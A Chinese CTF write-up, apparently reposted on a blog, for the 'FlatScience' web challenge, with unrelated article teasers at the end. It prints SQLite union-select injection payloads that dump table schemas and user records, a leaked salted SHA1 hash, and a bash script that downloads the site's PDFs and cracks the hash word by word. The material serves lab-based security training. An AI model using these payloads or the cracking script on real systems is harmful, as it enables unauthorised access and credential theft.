CTF 攻防世界 Web: FlatScience write-up

server/2024/12/16 15:05:46/

题目名称-FlatScience

 网址 index 目录中没有发现提示信息,链接会跳转到论文。

 

目前没有发现有用信息,尝试目录扫描。

目录扫描

 注意到存在 robots.txt 和 login.php。

访问 robots.txt

这里表明还存在 admin.php

admin.php 分析

在这里尝试一些 sql 注入提交,但是不能成功,显然被过滤了。

 网页代码中发现有不要尝试绕过的提示。

这里可以先暂时放一放,看看其他页面。

login.php 分析

先尝试 sql 注入

admin' or 1=1 #

返回了报错,而且数据库是 sqlite.

尝试注入

admin' or 1=1 --+

 结果又跳回到了 index.html 目录。

查看网页代码,发现有提示参数 debug

加上 debug 参数后,网页显示出 php 源代码: 

 

<?php
ob_start();
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"><html>
<head>
<style>
blockquote { background: #eeeeee; }
h1 { border-bottom: solid black 2px; }
h2 { border-bottom: solid black 1px; }
.comment { color: darkgreen; }
</style><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Login</title>
</head>
<body><div align=right class=lastmod>
Last Modified: Fri Mar  31:33:7 UTC 1337
</div><h1>Login</h1>Login Page, do not try to hax here plox!<br><form method="post">ID:<br><input type="text" name="usr"><br>Password:<br> <input type="text" name="pw"><br><br><input type="submit" value="Submit">
</form><?php
if(isset($_POST['usr']) && isset($_POST['pw'])){$user = $_POST['usr'];$pass = $_POST['pw'];$db = new SQLite3('../fancy.db');$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");if($res){$row = $res->fetchArray();}else{echo "<br>Some Error occourred!";}if(isset($row['id'])){setcookie('name',' '.$row['name'], time() + 60, '/');header("Location: /");die();}}if(isset($_GET['debug']))
highlight_file('login.php');
?>

分析代码可以发现:

(1)sql 注入点就是在 urs 参数,方式为 admin' --

(2)密码与 "Salz!" 进行拼接并做了加盐处理。

(3)如果查询到了结果,用户名会被设置到 cookie 中,并重新返回到根目录。

这里就证明了我们开始的注入方法是正确的,而且 cookie 中可以看到用户名查询结果,下一步就可以利用 sql 注入结合返回的 cookie 值进行爆表了。

SQL 注入

admin' union select name,sql from sqlite_master --

这里发现 cookie 中没有回显出表信息,可能是因为查询到存在的 admin 被回显出来了,可以直接把 admin 去掉再尝试:

' union select name,sql from sqlite_master --

将得到的结果用 url 解码:

Users 表中的字段有 id;name;password;hint 几个值。

通过下面的语句爆破出它们的值

' union select id,id from Users limit 0,1--
' union select id,name from Users limit 0,1--
' union select id,password from Users limit 0,1--
' union select id,hint from Users limit 0,1--

可以得到第一列的结果如下:

idnamepasswordhint
1admin3fab54a50e770d830c0416df817567662a9dc85cmy fav word in my fav paper?!

把限制改为 limit 1,1 和 limit 2,1 可以得到下面两行的结果,但是本题用第一行的信息就足够了。

密码爆破

根据源码我们已经清楚了密码生成方式,即正确密码与字符 "Salz!" 拼接后用 sha1 处理后存储到数据库中。根据 hint 中的提示,这句话可以在首页源码中找到:

 in my fav paper 指向链接中的论文,提示中说明了密码很有可能就是论文中的某一个单词。

使用 wget 命令递归的把网址上 pdf 文件下载到本地,然后再读取出文件中的每一个单词,进行加密,把加密结果与哈希值进行对比。 

脚本如下:

#!/bin/bash
wget http://61.147.171.105:50766/ -r -np -nd -A .pdf
salt="3fab54a50e770d830c0416df817567662a9dc85c"
found=false
for f in *.pdf; dowhile read -r word; docomb="${word}Salz!"hs=$(echo -n "$comb" | sha1sum | awk '{print $1}')if [ "$hs" == "$salt" ]; thenecho "[+] Find word: $word"found=truebreakfidone < <(pdftotext "$f" - | tr -c '[:alnum:]' '[\n*]')if [ "$found" = true ]; thenbreakfi
done
if [ "$found" = false ]; thenecho "[-] Find nothing!"
fi

注意使用命令 pdftotext 需要安装 poppler-utils:

sudo apt-get install poppler-utils

成功找到密码:

flag

把用户 admin 和密码 ThinJerboa 在 admin.php 中提交登录,得到 flag。

flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}


http://www.ppmy.cn/server/150659.html

相关文章

Python什么是动态调用方法?What is Dynamic Method Invocation? (中英双语)

什么是动态调用方法&#xff1f; 动态调用方法指通过方法或属性的名称&#xff0c;在运行时而非编译时调用对象的方法或访问其属性。换句话说&#xff0c;在编写代码时&#xff0c;方法名或属性名可以是变量&#xff0c;只有在程序运行时才能确定调用的内容。这种特性允许程序…

机器学习干货笔记分享:朴素贝叶斯算法

朴素贝叶斯分类是一种十分简单的分类算法&#xff0c;即对于给出的待分类项&#xff0c;求解在此项出现的条件下各个类别出现的概率&#xff0c;哪个最大&#xff0c;就认为此待分类项属于哪个类别。 以判定外国友人为例做一个形象的比喻。 若我们走在街上看到一个黑皮肤的外…

Elasticsearch的一些介绍

你想问的可能是 **Elasticsearch**&#xff0c;以下是关于它的一些介绍&#xff1a; ### 概述 Elasticsearch是一个基于Apache Lucene库构建的开源分布式搜索和分析引擎&#xff0c;采用Java语言编写&#xff0c;具有高性能、可扩展性和易用性等特点&#xff0c;可用于各种数据…

Unity学习笔记(一)如何实现物体之间碰撞

前言 本文为Udemy课程The Ultimate Guide to Creating an RPG Game in Unity学习笔记 如何实现物体之间碰撞 实现物体之间的碰撞关键组件&#xff1a;Rigidbody 2D(刚体)、Collider 2D(碰撞体)、Sprite Renderer&#xff08;Sprite渲染器&#xff09; 实现物体之间的碰撞 …

基于yolov10的遥感影像目标检测系统,支持图像检测,视频检测和实时摄像检测功能(pytorch框架,python源码)

更多目标检测、图像分类识别、目标检测等其他项目可看我主页其他文章 功能演示&#xff1a; 基于yolov10的遥感影像目标检测系统&#xff0c;既支持图像检测&#xff0c;也支持视频和摄像实时检测【pytorch框架、python源码】_哔哩哔哩_bilibili &#xff08;一&#xff09;…

springboot432校园疫情防控系统(论文+源码)_kaic

摘 要 国家及社会对高等教育的支持度在近年来呈直线上升&#xff0c;人民也了解到教育的重要性&#xff0c;因此我国的高校数量及在校生数量也逐年递增&#xff0c;人数的增加本就加大了高校的管理工作难度&#xff0c;加之2019年底新型冠状肺炎疫情的爆发&#xff0c;使高校的…

【java常用集合】java

第1关&#xff1a;初识Collection 第2关&#xff1a;集合遍历方法 第3关&#xff1a;Set接口 第4关&#xff1a;Map接口 第5关&#xff1a;泛型 第6关&#xff1a;知识回顾

9. 高效利用Excel设置归档Tag

高效利用Excel设置归档Tag 1. Excle批量新建/修改归档Tag2. 趋势记录模型批量导入归档Tag(Method1)2. 趋势记录模型批量导入归档Tag(Method2)3. 趋势记录控件1. Excle批量新建/修改归档Tag Fcatory Talk常常需要归档模拟量,对于比较大的项目工程会有成千上万个重要数据需…